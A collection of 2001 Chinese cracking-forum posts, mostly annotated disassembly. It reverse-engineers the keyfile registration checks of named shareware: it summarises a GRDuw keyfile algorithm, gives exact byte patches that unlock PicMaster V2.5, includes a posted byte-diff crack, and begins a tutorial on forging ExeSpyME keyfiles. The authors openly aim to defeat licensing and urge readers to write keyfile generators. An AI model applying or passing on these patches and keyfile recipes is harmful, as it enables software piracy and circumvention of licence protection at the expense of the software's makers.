* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B912(C)
|
:0041B928 5F pop edi
:0041B929 5E pop esi
:0041B92A 5B pop ebx
:0041B92B 81C404040000 add esp, 00000404
:0041B931 C3 ret

//**************************************************************************************************

第九次调用call eax会来到如下地方：
:0041B360 81EC00040000 sub esp, 00000400
:0041B366 53 push ebx
:0041B367 8BD9 mov ebx, ecx
:0041B369 56 push esi
:0041B36A C783B405000040B94100 mov dword ptr [ebx+000005B4], 0041B940 <--送下一个检查子程序的地址
:0041B374 8B8344050000 mov eax, dword ptr [ebx+00000544]
:0041B37A 8DB348050000 lea esi, dword ptr [ebx+00000548]
:0041B380 6A00 push 00000000
:0041B382 8A08 mov cl, byte ptr [eax]
:0041B384 40 inc eax
:0041B385 51 push ecx
:0041B386 8BCE mov ecx, esi
:0041B388 898344050000 mov dword ptr [ebx+00000544], eax
:0041B38E E8FD310000 call 0041E590 <--这个call比对第15个字符
:0041B393 85C0 test eax, eax
:0041B395 751D jne 0041B3B4 <--不应该跳转
:0041B397 8B8344050000 mov eax, dword ptr [ebx+00000544]
:0041B39D 6A00 push 00000000
:0041B39F 8A08 mov cl, byte ptr [eax]
:0041B3A1 40 inc eax
:0041B3A2 51 push ecx
:0041B3A3 8BCE mov ecx, esi
:0041B3A5 898344050000 mov dword ptr [ebx+00000544], eax
:0041B3AB E8E0310000 call 0041E590 <--这个call比对第16个字符
:0041B3B0 85C0 test eax, eax
:0041B3B2 7414 je 0041B3C8 <--应该跳转

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B395(C)
|
:0041B3B4 C783B405000020A94100 mov dword ptr [ebx+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B3BE C783B805000001000000 mov dword ptr [ebx+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B3B2(C)
|
:0041B3C8 55 push ebp
:0041B3C9 57 push edi
:0041B3CA 8DBB40010000 lea edi, dword ptr [ebx+00000140]
:0041B3D0 83C9FF or ecx, FFFFFFFF
:0041B3D3 33C0 xor eax, eax
:0041B3D5 8D542410 lea edx, dword ptr [esp+10]
:0041B3D9 F2 repnz
:0041B3DA AE scasb
:0041B3DB F7D1 not ecx
:0041B3DD 2BF9 sub edi, ecx
:0041B3DF 8BC1 mov eax, ecx
:0041B3E1 8BF7 mov esi, edi
:0041B3E3 8BFA mov edi, edx
:0041B3E5 C1E902 shr ecx, 02
:0041B3E8 F3 repz
:0041B3E9 A5 movsd
:0041B3EA 8BC8 mov ecx, eax
:0041B3EC 83E103 and ecx, 00000003
:0041B3EF F3 repz
:0041B3F0 A4 movsb
:0041B3F1 8D4C2410 lea ecx, dword ptr [esp+10]
:0041B3F5 51 push ecx
:0041B3F6 E8F64C0100 call 004300F1

* Possible StringData Ref from Data Obj ->"恃缆*" <--该字符串解密后为"KRACK"
|
:0041B3FB BF6C464500 mov edi, 0045466C
:0041B400 83C9FF or ecx, FFFFFFFF
:0041B403 33C0 xor eax, eax
:0041B405 83C404 add esp, 00000004
:0041B408 F2 repnz
:0041B409 AE scasb
:0041B40A F7D1 not ecx
:0041B40C 2BF9 sub edi, ecx
:0041B40E 8DABD4060000 lea ebp, dword ptr [ebx+000006D4]
:0041B414 8BF7 mov esi, edi
:0041B416 8BD1 mov edx, ecx
:0041B418 8BFD mov edi, ebp
:0041B41A 8BC7 mov eax, edi
:0041B41C C1E902 shr ecx, 02
:0041B41F F3 repz
:0041B420 A5 movsd
:0041B421 8BCA mov ecx, edx
:0041B423 83E103 and ecx, 00000003
:0041B426 F3 repz
:0041B427 A4 movsb
:0041B428 8A08 mov cl, byte ptr [eax]
:0041B42A 84C9 test cl, cl
:0041B42C 740D je 0041B43B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B439(C)
|
:0041B42E 80E97F sub cl, 7F <--加密字符串的解密算法
:0041B431 8808 mov byte ptr [eax], cl
:0041B433 8A4801 mov cl, byte ptr [eax+01]
:0041B436 40 inc eax
:0041B437 84C9 test cl, cl
:0041B439 75F3 jne 0041B42E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B42C(C)
|
:0041B43B 8D442410 lea eax, dword ptr [esp+10]
:0041B43F 55 push ebp
:0041B440 50 push eax
:0041B441 E88A630000 call 004217D0 <--检查注册文件中是否有黑名单中的"KRACK"
:0041B446 83C408 add esp, 00000008
:0041B449 85C0 test eax, eax
:0041B44B 5F pop edi
:0041B44C 5D pop ebp
:0041B44D 7414 je 0041B463 <--应该跳转
:0041B44F C783B405000020A94100 mov dword ptr [ebx+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041B459 C783B805000001000000 mov dword ptr [ebx+000005B8], 00000001 <--把注册失败值送全局变量reg

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B44D(C)
|
:0041B463 5E pop esi
:0041B464 5B pop ebx
:0041B465 81C400040000 add esp, 00000400
:0041B46B C3 ret

//**************************************************************************************************

第十次调用call eax会来到如下地方：
:0041B940 83EC10 sub esp, 00000010
:0041B943 53 push ebx
:0041B944 55 push ebp
:0041B945 8BE9 mov ebp, ecx
:0041B947 56 push esi
:0041B948 57 push edi
:0041B949 6A3D push 0000003D
:0041B94B 8D8540010000 lea eax, dword ptr [ebp+00000140]
:0041B951 33FF xor edi, edi
:0041B953 50 push eax
:0041B954 C685D006000000 mov byte ptr [ebp+000006D0], 00
:0041B95B E8005F0000 call 00421860 <--查找第一个"="字符
:0041B960 83C408 add esp, 00000008
:0041B963 8BF0 mov esi, eax
:0041B965 89BDC8060000 mov dword ptr [ebp+000006C8], edi
:0041B96B C785B4050000F0BE4100 mov dword ptr [ebp+000005B4], 0041BEF0 <--送下一个检查子程序的地址
:0041B975 3BF7 cmp esi, edi
:0041B977 0F84C2010000 je 0041BB3F
:0041B97D 83C602 add esi, 00000002

* Possible Reference to String Resource ID=00010: ";×谿: = %lu"
|
:0041B980 6A0A push 0000000A
:0041B982 56 push esi
:0041B983 E8D85E0000 call 00421860
:0041B988 8BD8 mov ebx, eax
:0041B98A 83C408 add esp, 00000008
:0041B98D 2BDE sub ebx, esi
:0041B98F 8DBDBC050000 lea edi, dword ptr [ebp+000005BC]
:0041B995 4B dec ebx
:0041B996 8D95D4060000 lea edx, dword ptr [ebp+000006D4]
:0041B99C 8BCB mov ecx, ebx
:0041B99E 8BC1 mov eax, ecx
:0041B9A0 C1E902 shr ecx, 02
:0041B9A3 F3 repz
:0041B9A4 A5 movsd
:0041B9A5 8BC8 mov ecx, eax
:0041B9A7 33C0 xor eax, eax
:0041B9A9 83E103 and ecx, 00000003
:0041B9AC F3 repz
:0041B9AD A4 movsb

* Possible StringData Ref from Data Obj ->"镊镨皲蚬*" <--该字符串解密后为"Expires:"
|
:0041B9AE BFFC464500 mov edi, 004546FC
:0041B9B3 83C9FF or ecx, FFFFFFFF
:0041B9B6 F2 repnz
:0041B9B7 AE scasb
:0041B9B8 F7D1 not ecx
:0041B9BA 2BF9 sub edi, ecx
:0041B9BC 8BC1 mov eax, ecx
:0041B9BE 8BF7 mov esi, edi
:0041B9C0 8BFA mov edi, edx
:0041B9C2 89442410 mov dword ptr [esp+10], eax
:0041B9C6 8BC7 mov eax, edi
:0041B9C8 C1E902 shr ecx, 02
:0041B9CB F3 repz
:0041B9CC A5 movsd
:0041B9CD 8B4C2410 mov ecx, dword ptr [esp+10]
:0041B9D1 83E103 and ecx, 00000003
:0041B9D4 F3 repz
:0041B9D5 A4 movsb
:0041B9D6 8A08 mov cl, byte ptr [eax]
:0041B9D8 84C9 test cl, cl
:0041B9DA 740D je 0041B9E9

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B9E7(C)
|
:0041B9DC 80E97F sub cl, 7F <--加密字符串的解密算法
:0041B9DF 8808 mov byte ptr [eax], cl
:0041B9E1 8A4801 mov cl, byte ptr [eax+01]
:0041B9E4 40 inc eax
:0041B9E5 84C9 test cl, cl
:0041B9E7 75F3 jne 0041B9DC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041B9DA(C)
|
:0041B9E9 8D95D4060000 lea edx, dword ptr [ebp+000006D4]
:0041B9EF 83C9FF or ecx, FFFFFFFF
:0041B9F2 8BFA mov edi, edx
:0041B9F4 33C0 xor eax, eax
:0041B9F6 F2 repnz
:0041B9F7 AE scasb
:0041B9F8 F7D1 not ecx
:0041B9FA 49 dec ecx
:0041B9FB 8BFA mov edi, edx
:0041B9FD 8DB5BC050000 lea esi, dword ptr [ebp+000005BC]
:0041BA03 33C0 xor eax, eax
:0041BA05 894C2410 mov dword ptr [esp+10], ecx
:0041BA09 F3 repz <--这条指令和下一条检查注册文件中是否含有字符串"Expires: "
:0041BA0A A6 cmpsb
:0041BA0B 0F85B4000000 jne 0041BAC5 <--应该跳转
:0041BA11 8D4C241C lea ecx, dword ptr [esp+1C]
:0041BA15 8D542418 lea edx, dword ptr [esp+18]
:0041BA19 51 push ecx
:0041BA1A 8B4C2414 mov ecx, dword ptr [esp+14]
:0041BA1E 8D442418 lea eax, dword ptr [esp+18]
:0041BA22 52 push edx
:0041BA23 50 push eax
:0041BA24 8D9429BC050000 lea edx, dword ptr [ecx+ebp+000005BC]

* Possible StringData Ref from Data Obj ->"%2d/%2d/%4d" <--试用期所到日期(月,日,年)
|
:0041BA2B 68F0464500 push 004546F0
:0041BA30 52 push edx
:0041BA31 E8774F0000 call 004209AD
:0041BA36 8B442428 mov eax, dword ptr [esp+28]
:0041BA3A 8B4C242C mov ecx, dword ptr [esp+2C]
:0041BA3E 8B542430 mov edx, dword ptr [esp+30]
:0041BA42 83C414 add esp, 00000014
:0041BA45 25FFFF0000 and eax, 0000FFFF
:0041BA4A 81E1FFFF0000 and ecx, 0000FFFF
:0041BA50 6A00 push 00000000
:0041BA52 6A00 push 00000000
:0041BA54 6A00 push 00000000
:0041BA56 50 push eax
:0041BA57 81E2FFFF0000 and edx, 0000FFFF
:0041BA5D 51 push ecx
:0041BA5E 52 push edx
:0041BA5F 8D8DBC060000 lea ecx, dword ptr [ebp+000006BC]
:0041BA65 E89E440000 call 0041FF08
:0041BA6A 8B442410 mov eax, dword ptr [esp+10]
:0041BA6E 6A2D push 0000002D

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041BA70 C785C806000001000000 mov dword ptr [ebp+000006C8], 00000001
:0041BA7A 8D8C28C6050000 lea ecx, dword ptr [eax+ebp+000005C6]
:0041BA81 51 push ecx
:0041BA82 E8D95D0000 call 00421860
:0041BA87 83C408 add esp, 00000008
:0041BA8A 85C0 test eax, eax
:0041BA8C 741D je 0041BAAB
:0041BA8E 83C002 add eax, 00000002
:0041BA91 668B10 mov dx, word ptr [eax]
:0041BA94 668995D0060000 mov word ptr [ebp+000006D0], dx
:0041BA9B 8A4002 mov al, byte ptr [eax+02]
:0041BA9E C685D306000000 mov byte ptr [ebp+000006D3], 00
:0041BAA5 8885D2060000 mov byte ptr [ebp+000006D2], al

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BA8C(C)
|
:0041BAAB C785B405000090AD4100 mov dword ptr [ebp+000005B4], 0041AD90

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BB1A(C)
|
:0041BAB5 5F pop edi
:0041BAB6 C6842BBC05000000 mov byte ptr [ebx+ebp+000005BC], 00
:0041BABE 5E pop esi
:0041BABF 5D pop ebp
:0041BAC0 5B pop ebx
:0041BAC1 83C410 add esp, 00000010
:0041BAC4 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BA0B(C)
|

* Possible StringData Ref from Data Obj ->"ⅱⅱ熦铘熰皲熗斡燂漶扈篌溷燇顭镟蝌燇玷驘巳履鸵"
->"臒彖脘燇顭囗鵁铙玟癍ⅱⅱ" <--该字符串解密后为"#### You are NOT permitted to pass this LICENSE file to any other.####"
|
:0041BAC5 BFA8464500 mov edi, 004546A8
:0041BACA 83C9FF or ecx, FFFFFFFF
:0041BACD 33C0 xor eax, eax
:0041BACF F2 repnz
:0041BAD0 AE scasb
:0041BAD1 F7D1 not ecx
:0041BAD3 2BF9 sub edi, ecx
:0041BAD5 8BC1 mov eax, ecx
:0041BAD7 8BF7 mov esi, edi
:0041BAD9 8BFA mov edi, edx
:0041BADB 8944241C mov dword ptr [esp+1C], eax
:0041BADF 8BC7 mov eax, edi
:0041BAE1 C1E902 shr ecx, 02
:0041BAE4 F3 repz
:0041BAE5 A5 movsd
:0041BAE6 8B4C241C mov ecx, dword ptr [esp+1C]
:0041BAEA 83E103 and ecx, 00000003
:0041BAED F3 repz
:0041BAEE A4 movsb
:0041BAEF 8A08 mov cl, byte ptr [eax]
:0041BAF1 84C9 test cl, cl
:0041BAF3 740D je 0041BB02

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BB00(C)
|
:0041BAF5 80E97F sub cl, 7F <--加密字符串的解密算法
:0041BAF8 8808 mov byte ptr [eax], cl
:0041BAFA 8A4801 mov cl, byte ptr [eax+01]
:0041BAFD 40 inc eax
:0041BAFE 84C9 test cl, cl
:0041BB00 75F3 jne 0041BAF5

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041BAF3(C)
|
:0041BB02 8D85D4060000 lea eax, dword ptr [ebp+000006D4]
:0041BB08 50 push eax
:0041BB09 8D8540010000 lea eax, dword ptr [ebp+00000140]
:0041BB0F 50 push eax
:0041BB10 E8BB5C0000 call 004217D0 <--检查注册文件中是否含有字符串"#### You are NOT permitted to pass this LICENSE file to any other.####"
:0041BB15 83C408 add esp, 00000008
:0041BB18 85C0 test eax, eax
:0041BB1A 7599 jne 0041BAB5 <--应该跳转
:0041BB1C C785B405000020A94100 mov dword ptr [ebp+000005B4], 0041A920 <--送注册失败处理子程序的地址

* Possible Reference to String Resource ID=00001: "萣
*"
|
:0041BB26 C785B805000001000000 mov dword ptr [ebp+000005B8], 00000001 <--把注册失败值送全局变量reg
:0041BB30 5F pop edi
:0041BB31 88842BBC050000 mov byte ptr [ebx+ebp+000005BC], al
:0041BB38 5E pop esi
:0041BB39 5D pop ebp
:0041BB3A 5B pop ebx
:0041BB3B 83C410 add esp, 00000010
:0041BB3E C3 ret

//**************************************************************************************************
最后，我总结一下注册算法：
程序先检查软件所在目录下是否含有注册文件GRDuw.key，然后检查文件长度是否不为0并且是否大于220字节，接着检查注册文件中的前五个字符是否
为"GRDuw"，并且检查第六个字符是否为空格符，然后再把注册文件中的注册码前面的部分（包括换行符和回车符）进行MD5计算，把得出的128位结果的前
64位与后64位进行异或运算，检查注册码的前16个字符是否与这个64位十六进制结果转换成的字符串是否相等，在上一步检查中顺带检查注册文件中是否
含有下列黑名单："PC'"、"XTERM"、"JOCHEN HESSE"、"CRACK"、"KILLER"、"CHAFE"、"KRACK"，另外如果文件中有"Expires:"字符串的话就会把后面的
32位整数作为许可文件的过期日期，最后检查文件中是否含有字符串（该字符串和上面的黑名单可以在注册文件中除最开始的任何地方）：
"#### You are NOT permitted to pass this LICENSE file to any other.####"。
至此，我想大家应该可以做出一个自己的KEYFILE了，希望大家也能写出一个KEYFILE MAKER（注册文件生成器）。

啊，终于写完了，写心得真是太……~!@#$%^&*()……


PicMaster V2.5

 标 题:Key File 破解之 PicMaster V2.5 (10千字)
发信人:paulyoung
时 间:2001-10-27 13:09:45
详细信息:
Key File 破解之 PicMaster V2.5

作者：PaulYoung　（ 属于 China Cracking Group ）
软件：PicMaster V2.5
简介：可以帮你快速轻松地编辑图形文件。功能相当广泛，包括简单的扫描、使用滤镜、把图形文件放到大型海报目录之中、抓取影音画面、网络摄影机、幻灯片播放、3D浮雕画面。photoshop的滤镜都可以用在这个软件之上，你也可以记录音效指令到图片之中，让你的幻灯片播放更有真实的多媒体效果。一个看图管理工具让你可以用许多方式管理你的图形文件，网络摄影机画面也可以上传。
下载：http://www.graphics-tools.com/
工具：REGMonitor,W32DASM V9.00,TRW 2000,HIEW，还有……东方快车（唉，这位兄台，你可别倒……因为我不会英文，没它看不懂呀？:) ）
日期：2001.10.26

*************************************************************************************************

    最近玩破解实在出不了什么好作品，水平太低了，没办法，只好拿这个 PicMaster V2.5 的爆破来充充数，望各位不要见笑。

请先看软件的说明书：
As a registered User you have the following advantages:
- No Shareware reminders any more
- No disturbing while playing the slideshow
- No length limit for recording sound comments
- No length limit for number of images in the catalog
- No "unregistered version" text on your printed paper...
How does registration work?
You only need a serial number, which you have to enter at the beginning so
that your program becomes the FULL-Version.

看不懂？象我一样用东方快车吧，嘻……嘻……反正是功能限制多多。

    好了，开始步入正题。运行时，会出现一个提示输入注册码的对话框，可惜我跟了好久，跟不出来……只好另想办法。哇，你可以？告诉我！！！
    用 RegMonitor 跟踪，可以发现它启动时读取一个"picmaster.key"的文件，再用W32DASM反编译，可以找到以下的东东。呵……注意了，用W32DASM反汇编出的字符串是 Standard 的，这个软件是 English、Standard 双语版，可在"OPTION"处设置语言，但用 W32DASM 反出的字符串肯定是 Standard 。还有，如果"PicMaster.exe"改了名，菜单会变成 Standard 的，所以不要将它改名，除非你会看 Standard 。

    先建一个"picmaster.key"文件，放在安装目录处。再运行，可以发现，它不再提示你输入注册码，但提示"The serial number is invalid"，接着显示一个"Shareware Info"，并开始10秒倒计时，我烦……

    ★第一步，去掉提示输入注册码的 NAG 及"The serial number is invalid"等提示。

    用TRW 2000设断、跟踪……Let's go!My dear Cracker!

* Possible StringData Ref from Code Obj ->"picmaster.key"
|
:005B8586 BA14875B00 mov edx, 005B8714
:005B858B E820BCE4FF call 004041B0 //在此设断
:005B8590 8B45FC mov eax, dword ptr [ebp-04]
:005B8593 E89C1BE5FF call 0040A134 //安装目录是否有"picmaster.key"
:005B8598 84C0 test al, al
:005B859A 755C jne 005B85F8 //有则跳
:005B859C 803D90395C0000 cmp byte ptr [005C3990], 00
:005B85A3 7453 je 005B85F8
:005B85A5 8BCE mov ecx, esi
:005B85A7 B201 mov dl, 01

* Possible StringData Ref from Code Obj ->"ㄕC"
|
:005B85A9 A1B4595B00 mov eax, dword ptr [005B59B4]
:005B85AE E8C968E9FF call 0044EE7C
:005B85B3 8B15E43D5C00 mov edx, dword ptr [005C3DE4]
:005B85B9 8902 mov dword ptr [edx], eax
:005B85BB A1E43D5C00 mov eax, dword ptr [005C3DE4]
:005B85C0 8B00 mov eax, dword ptr [eax]
:005B85C2 8B10 mov edx, dword ptr [eax]
:005B85C4 FF92D8000000 call dword ptr [edx+000000D8] //没有"picmaster.key"，则提示输入注册码
:005B85CA 8D55F8 lea edx, dword ptr [ebp-08]
:005B85CD A1E43D5C00 mov eax, dword ptr [005C3DE4]
:005B85D2 8B00 mov eax, dword ptr [eax]
:005B85D4 8B80DC020000 mov eax, dword ptr [eax+000002DC]
:005B85DA E8B5E1E7FF call 00436794
:005B85DF 8B55F8 mov edx, dword ptr [ebp-08]
:005B85E2 B898A55C00 mov eax, 005CA598
:005B85E7 E890B9E4FF call 00403F7C
:005B85EC A1E43D5C00 mov eax, dword ptr [005C3DE4]
:005B85F1 8B00 mov eax, dword ptr [eax]
:005B85F3 E8ACABE4FF call 004031A4

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:005B859A(C), :005B85A3(C)
|
:005B85F8 8D45F4 lea eax, dword ptr [ebp-0C]
:005B85FB E838050000 call 005B8B38
:005B8600 8D45F4 lea eax, dword ptr [ebp-0C]

* Possible StringData Ref from Code Obj ->"picmaster.key"
|
:005B8603 BA14875B00 mov edx, 005B8714
:005B8608 E8A3BBE4FF call 004041B0
:005B860D 8B45F4 mov eax, dword ptr [ebp-0C]
:005B8610 E81F1BE5FF call 0040A134 //再次验证是否有"picmaster.key"
:005B8615 84C0 test al, al
:005B8617 0F84BB000000 je 005B86D8
:005B861D B8C4A55C00 mov eax, 005CA5C4
:005B8622 E801B9E4FF call 00403F28
:005B8627 A1C4A55C00 mov eax, dword ptr [005CA5C4]

* Possible StringData Ref from Code Obj ->"7437-4578-4868-3487"
|
:005B862C BA2C875B00 mov edx, 005B872C
:005B8631 E882BCE4FF call 004042B8
:005B8636 7514 jne 005B864C
:005B8638 B8C4A55C00 mov eax, 005CA5C4

* Possible StringData Ref from Code Obj ->"Vielen Dank f黵 die Registrierung"
|
:005B863D BA48875B00 mov edx, 005B8748
:005B8642 E835B9E4FF call 00403F7C
:005B8647 BB03000000 mov ebx, 00000003

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005B8636(C)
|
:005B864C 83FB04 cmp ebx, 00000004
:005B864F 750F jne 005B8660
:005B8651 B8C4A55C00 mov eax, 005CA5C4

* Possible StringData Ref from Code Obj ->"Thank you for registration"
|
:005B8656 BA74875B00 mov edx, 005B8774
:005B865B E81CB9E4FF call 00403F7C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005B864F(C)
|
:005B8660 833DC4A55C0000 cmp dword ptr [005CA5C4], 00000000
:005B8667 750F jne 005B8678 //一定要跳，不跳则提示"The serial number is invalid"，改为 EB0F ①
:005B8669 B8C4A55C00 mov eax, 005CA5C4

* Possible StringData Ref from Code Obj ->"Die Seriennummer ist ung黮tig"
|
:005B866E BA98875B00 mov edx, 005B8798
:005B8673 E804B9E4FF call 00403F7C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005B8667(C)
|
:005B8678 83FB05 cmp ebx, 00000005
:005B867B 750F jne 005B868C //一定要跳，不跳则提示"The serial number is invalid"，改为 EB0F　②
:005B867D B8C4A55C00 mov eax, 005CA5C4

* Possible StringData Ref from Code Obj ->"The serial number is invalid"
|
:005B8682 BAC0875B00 mov edx, 005B87C0
:005B8687 E8F0B8E4FF call 00403F7C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005B867B(C)
|
:005B868C 83FB06 cmp ebx, 00000006
:005B868F 7411 je 005B86A2 //一定要跳，不跳则提示"The serial number is invalid" ，改为 EB11　③
:005B8691 BAC4A55C00 mov edx, 005CA5C4

* Possible StringData Ref from Code Obj ->"蹹\"
|
:005B8696 B8145E5B00 mov eax, 005B5E14
:005B869B E86CDFE4FF call 0040660C
:005B86A0 EB0F jmp 005B86B1

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005B868F(C)
|
:005B86A2 BAC4A55C00 mov edx, 005CA5C4

* Possible StringData Ref from Code Obj ->"蹹\"
|
:005B86A7 B81C5E5B00 mov eax, 005B5E1C
:005B86AC E85BDFE4FF call 0040660C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005B86A0(U)
|
:005B86B1 A1C4A55C00 mov eax, dword ptr [005CA5C4]
:005B86B6 E8795AEAFF call 0045E134 //提示"Registered to %s %s"，NOP掉它　④
:005B86BB 83FB4D cmp ebx, 0000004D
:005B86BE 750D jne 005B86CD

.
.
.

:0059EC32 E8A99B0100 call 005B87E0 //弹出 NAG
:0059EC37 8B8658060000 mov eax, dword ptr [esi+00000658]
:0059EC3D 8B808C000000 mov eax, dword ptr [eax+0000008C]

* Possible StringData Ref from Code Obj ->"NoWelcome" （不欢迎我 :~( ）

    这样修改上面4处之后，运行软件，不再提示输入注册码了，但运行时那个大大而丑陋的 NAG 还有向你奸笑，还有10秒倒计时（总使我想起世纪交替之际的倒计时 :) ），非常非常的讨厌。进入后标题栏还显示为"PicMaster V2.5 - Shareware Version"，功能限制当然还没有去除。

    ★第二步，瞄准目标，一矢中的。

    用 W32DASM 的“字符串数据参考”，找到"PicMaster V2.5 - Shareware Version"

:005B8A1D 803D70395C0000 cmp byte ptr [005C3970], 00 //经典吧，一看就知道[005C3970]这个变量存放的就是注册标志了，
:005B8A24 754F jne 005B8A75

.
.
.

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005B8A24(C)　　　　　　　　　　　　　　　　　　　　　　　　　　　　　//找这个地址
|
:005B8A75 A1383F5C00 mov eax, dword ptr [005C3F38]
:005B8A7A 8B00 mov eax, dword ptr [eax]

* Possible StringData Ref from Code Obj ->"PicMaster V2.5 - Shareware Version"
|
:005B8A7C BA148B5B00 mov edx, 005B8B14
:005B8A81 E83EDDE7FF call 004367C4

    用 TRW 2000 设断：bpx 005B8A1D ，中断后，下 E 5C3970 1, F5 退出，我倒……NAG 还在奸笑，倒计时还在继续，标题栏还是"PicMaster V2.5 - Shareware Version"。气昏……再来，这次下 E 5C3970 0, F5 退出，再看，嘻……这回天下太平了，NAG消失，标题栏看到是 "Registered to PicMaster V2.5"。
明白了吗？这就是说，[005C3970]这个变量的值为 0 是注册版，非 0 就不是了注册版了。
    我这人比较懒，看上面的说明书可以知道，它的功能限制可不少，一个一个地去除，太麻烦了，更何况我根本不会用，去得不完全，会被人骂的，嘻……我要一步到位，找到它在哪里把 [005C3970] 赋值为1的。
    清除所有断点后，退出软件。在 TRW 2000 下断：BPM 5C3970 W ，再运行软件，中断到……

:005B9764 A198A55C00 mov eax, dword ptr [005CA598]
:005B9769 E84A64F9FF call 0054FBB8
:005B976E 3401 xor al, 01　　　　//异或运算，结果 AL=1 ⑤
:005B9770 A270395C00 mov byte ptr [005C3970], al //把AL，也就是1赋值给[005C3970]这个变量，就是未注册版了。
:005B9775 33C0 xor eax, eax //你在这里呢

    知道怎么改了吧……呵……就是把

:005B976E 3401 xor al, 01 改为 xor eax,eax（机器码为33C0） 或 xor al,al（机器码为32C0），那么，AL的值为0，也就是 [005C3970]的值为 0 ，也就是变成注册版了！也就是你成功了！也就是……&*^$%#@@_)+)*$##……
（真罗嗦，弟兄们，操家伙，扁他……）

    哇……我跑！！！！！！

--- THE END ---

标 题:改原程序7个字节搞定，不作做什么KEY文件，直接跳过去... (151字)
发信人:XF[BCG]
时 间:2001-10-27 15:58:17
详细信息:

Comparing files PICMAS~1.EXE
001B799A: E9 75
001B799B: 1C 5C
001B799C: 01 80
001B799D: 00 3D
001B799E: 00 90
001B8B6E: 33 34
001B8B6F: C0 01


SpyWindows监测软件

 标 题:转贴一篇文章 作者的功力绝对不亚于任何高手 (37千字)
发信人:娃娃[CCG]
时 间:2001-11-19 17:37:40
详细信息:
SpyWindows监测软件ME全系列完全破解--以ExeSpyME为例

    SpyWindows监测软件ME系列包括以下工具：ComSpyME、ModemWatchME、ExeSpyME、HeapExplorer SE、ProcessExplorer SE、MemoryMonitorME、ODBCSpyME、HeapExplorerME、PhysicalMemoryExplorerME、ProcessMemoryExplorerME和SystemMemoryExplorerME，见名知义，从名字我们就可以知道其用途，这里我就不细讲了。以前我们曾经讨论过SpyWindows监测软件98系列三款工具的破解方法：SetupMonitor98、RegistryMonitor98及ResSpy98，ME系列在98系列的“.DAT” KEY FILE的基础上又多出一个“.DLL”动态链接库KEY FILE，其加密强度比单纯的“.DAT” KEY FILE型要高出许多，所以要破解ME系列的软件需要具有WIN32下DLL的汇编编程知识，而前面我们已经领教过98系列“.DAT” KEY FILE的厉害，那么现在你可以想想要破解ME系列监测软件的难度有多大了！同样，ME系列所有软件的加密方法跟98系列产品之间一样，其同系列的产品加密方法一样，只需要在某个软件KEY FILE的基础上简单的替换一些相关信息即可应用于其它软件，这里我们以ExeSpyME为例进行讲解，其它ME系列的产品看完破解过程后你自然就明白怎么改了。

程序名　：ExeSpyME
版本 　 ：V5.0
大小 　 ：689KB
运行平台：Windows 95/98/ME
保护方式：KEY FILE（“.DAT”和“.DLL”）
破解方式：KEY FILE产生
破解难度：非常难

作者 　 ：ddcrack (2001/11/05)

破解步骤：

1. 首先把98系列的破解搞懂:“SetupMonitor98/RegistryMonitor98/ResSpy98完全破解”，如果没有彻底看明白，那么下面的东西对你来说毫无用处，因为我是在98系列破解教程的基础上展开的(为什么不从头开始写？难到你真想让我吐血啊！！！即便是我写了，相信也没有人看得懂，太复杂了！！！)；

2. 用softice载入windows（通过CTRL+D来检查softice是否已经准备好，按F5退出softice）；

3. 在“开始”菜单中点击“Spy Suite”下“ExeSpyME”的“ExeSpy”，此时我们可以从弹出的注册对话框中看到KEY FILE的名字分别叫“EXEMEUE.DAT”和“ExeMEKey.DLL”；

4. 对于“EXEMEUE.DAT”，因为前面我们已经攻破了98系列的工具，所以我们这里干脆用98系列的“.DAT”KEY FILE来代替；而对于“ExeMEKey.DLL”就要多一些心眼了，我们可以想想这个“.DLL”的KEY FILE是不是只是为了迷惑我们而故意用了DLL的后缀，其实暗地里仍然是个“.DAT”KEY FILE呢？如果它真的是个动态链接库文件，那么显然我们就要面临很大的困难了；先把SetupMonitor98的KEY FILE“SET98UR.DAT”改名换成“EXEMEUE.DAT”放在C盘根目录下(注意：98系列的KEY FILE都有“SPYS”和“SPY1”两种类型，那么这里究竟用哪一个呢？回答是用“SPY1”型，因为“SPY1”型的KEY FILE比“SPYS”型的复杂，我想在这种情况下复杂总比简单的好吧！就象WINDOWS ME比WINDOWS 98要好一样，新东西通常都比旧东西要复杂一点，而功能会更好一些)，因为现在我们还不知道这个“.DLL”的KEY FILE究竟是何方神圣？所以暂时我们先构造一个名为“ExeMEKey.DLL”的文本文件，假设这里为“0123456789ABCDEFFEDCBA9876543210”，内容可以随意(也许你有点糊涂：如何创建一个文本类型的“ExeMEKey.DLL”文件呢？哈哈，这很简单，先建个“.TXT”的文件，将上面的文本内容输进去，然后将文件名改掉就行了^_^)；

5. 因为刚才把假的“EXEMEUE.DAT”和“ExeMEKey.DLL”放在了C盘根目录，所以我们在ExeSpyME的注册窗口中输入驱动器号“C”；

6. 用CTRL+D呼出softice，下万能断点：bpx hmemcpy，按F5返回到ExeSpyME(是不是觉得有点浪费笔墨啊^_^，请多多包涵，我的破解文章总是这样老土的，哈哈。。。)；

